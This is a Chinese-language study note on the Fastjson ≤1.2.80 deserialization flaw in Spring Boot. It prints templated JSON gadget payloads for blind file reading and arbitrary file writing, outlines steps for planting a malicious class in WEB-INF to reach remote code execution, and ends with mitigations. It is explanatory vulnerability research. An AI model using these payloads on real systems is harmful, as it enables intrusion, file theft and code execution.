fastjson1.2.80 in Springtboot新链学习记录
字数 1589 2025-08-22 12:22:30
Fastjson 1.2.80 在 Spring Boot 环境下的新利用链分析
漏洞概述
Fastjson 1.2.80 及更早版本存在反序列化漏洞,当应用程序使用用户数据调用 JSON.parse 或 JSON.parseObject 方法且未指定要反序列化的特定类时,攻击者可利用此漏洞实现任意文件读写和远程代码执行(RCE)。
影响范围
- Fastjson 版本 ≤ 1.2.80
- 使用 Fastjson 进行 JSON 反序列化且未指定具体类的 Spring Boot 应用
漏洞原理
缓存机制利用
Fastjson 反序列化符合条件的期望类时,会将 setter 参数、public 字段、构造函数参数加入缓存中。攻击者可以利用这一机制将恶意类加载到缓存中。
{
"@type": "java.lang.Exception",
"@type": "com.fasterxml.jackson.core.exc.InputCoercionException"
}
TypeUtils.getClassFromMapping()尝试从缓存中获取java.lang.Exception类TypeUtils.addBaseClassMappings初始化时默认添加了一些缓存类,包括Exception.class- 获取到 class 后恢复字段信息
ParserConfig.getDeserializer获取对应的反序列化器- 对于异常处理类,反序列化器被设置为
ThrowableDeserializer
任意文件读取
{
"a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\", \"p\"",
"b": { "$ref": "$.a.a" },
"c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonParser\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\", \"in\"",
"d": { "$ref": "$.c.c" }
}
- 利用循环引用将字符串转换为对象并获取对象的值
- 通过
UTF8StreamJsonParser获取InputStream - 使用
org.apache.commons.io.input.BOMInputStream逐字节盲读取文件
任意文件写入
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"cs": {
"@type": "java.lang.String",
"${shellcode}",
"charset": "iso-8859-1",
"bufferSize": ${size}
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "${file2write}",
"charset": "iso-8859-1",
"append": true
},
"charset": "iso-8859-1",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
}
},
"b": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": { "$ref": "$.a" },
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
},
"c": {}
}
- 利用
org.apache.commons.io.input.TeeInputStream.read()方法写入数据 - 通过
CharSequenceInputStream和WriterOutputStream组合实现文件写入
远程代码执行(RCE)
- 类加载机制:Fastjson 反序列化过程中,针对不在黑白名单且缓存中没有的类会通过
TypeUtils.loadClass()尝试加载 - Tomcat 类加载路径:
- 通过
TomcatEmbeddedWebappClassLoader加载类 - 委派
WebappClassLoaderBase加载 - 最终通过
StandardRoot.getClassLoaderResource寻找类资源
- 通过
- 类加载路径:
/WEB-INF/classes/和/WEB-INF/lib/目录下的.class和.jar文件
利用步骤
-
信息收集:
- 读取
/tmp目录下的文件,找到docbase的文件名 - 确定 Web 应用的部署路径
- 读取
-
文件写入:
- 向
${docbase}/WEB-INF/classes/路径下写入恶意类 - 或者向
${docbase}/WEB-INF/lib/路径下写入恶意 JAR 包
- 向
-
触发执行:
- 通过 Fastjson 的
@type触发类加载 - 恶意类被加载后执行预设代码
- 通过 Fastjson 的
防御措施
- 升级 Fastjson:升级到最新安全版本
- 输入验证:对用户输入的 JSON 数据进行严格验证
- 指定类:在使用
JSON.parse或JSON.parseObject时指定具体的类 - 安全配置:
- 配置 Fastjson 的安全白名单
- 禁用不安全的特性
- 权限控制:限制 Web 应用对文件系统的写权限